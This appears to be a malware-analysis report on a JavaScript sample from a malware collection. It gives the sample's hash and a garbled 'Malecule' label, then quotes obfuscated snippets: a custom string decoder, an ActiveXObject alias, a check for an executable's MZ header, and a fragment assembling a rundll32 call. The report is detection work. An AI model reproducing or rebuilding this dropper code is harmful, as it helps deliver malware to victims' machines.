Suspicious ^66% javascript-malware-collection Download

20161221_4e66d93da4383c6e8c0f3482b5e6d621.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2565433817cc7bf707c19028b262e27dac2c027d49cf2b3f4ff74231b844bc29cc5

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchiklendingFROG2XCOP = 0;	
9     var SupchiklendingRazlomSS, SupchiklendingFROG2ddDccC2, SupchiklendingFROG2c3, SupchiklendingFROG2c4;
10
11     var SupchiklendingFROG2out = "";
12
13	 var SupchiklendingFROG2Supchiklendingka= this.replace(/FROSTICK/gi, SupchiklendingFROG2out);
14 var  SupchiklendingFROG2len = SupchiklendingFROG2sud(Su …

charCodeAt() method call lines 18–20

	 var Supchiklendingkoch = SupchiklendingFROG2Supchiklendingka.charCodeAt(SupchiklendingFROG2XCOP++) &(0x132- 0x33);
          SupchiklendingRazlomSS = levitron[Supchiklendingkoch];
      } while (SupchiklendingFROG2XCOP < Supchiklendin …

Builds characters with String.fromCharCode lines 27–30

39…  +1== 0)
          break;
      SupchiklendingFROG2out += String['fromCharCode']((SupchiklendingRazlomSS << 2) | ((SupchiklendingFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchiklendingFROG2c3 = Supchikle …

ActiveXObject via local alias lines 185–188

185:16… dingFROG2d2=SupchiklendingFROG2DoUtra.pop();
186SupchiklendingFROG2fabled="Valar2Morgulis";
187 var SupchiklendingFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchiklendingFROG2d2.split("45");SupchiklendingFROG2Native.SupchiklendingFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchiklendingFROG2$type(a)===b})};
 …

Checks array for PE magic bytes lines 257–264

72… gTalabaev);	
if(SupchiklendingTalabaevLaa < 29989)return false;
if (SupchiklendingTalabaev[0]!= 77 || SupchiklendingTalabaev[1]!= 90)return false;		
SupchiklendingFROG2CHICKA = SupchiklendingFROG2CHICKA  + SupchiklendingFROG2SIDRENKOV;
REBEKK2(SupchiklendingFROG2CHICKA, SupchiklendingTalabaev );
262
var SupchiklendingFROG2ddsSSddSd = ",happy";
264SupchiklendingFROG2ddsSSddSd = (SupchiklendingFROG2StrokaParam2,"undl") + (SupchiklendingFROG2StrokaParam2,"l32 ") + Supchikl …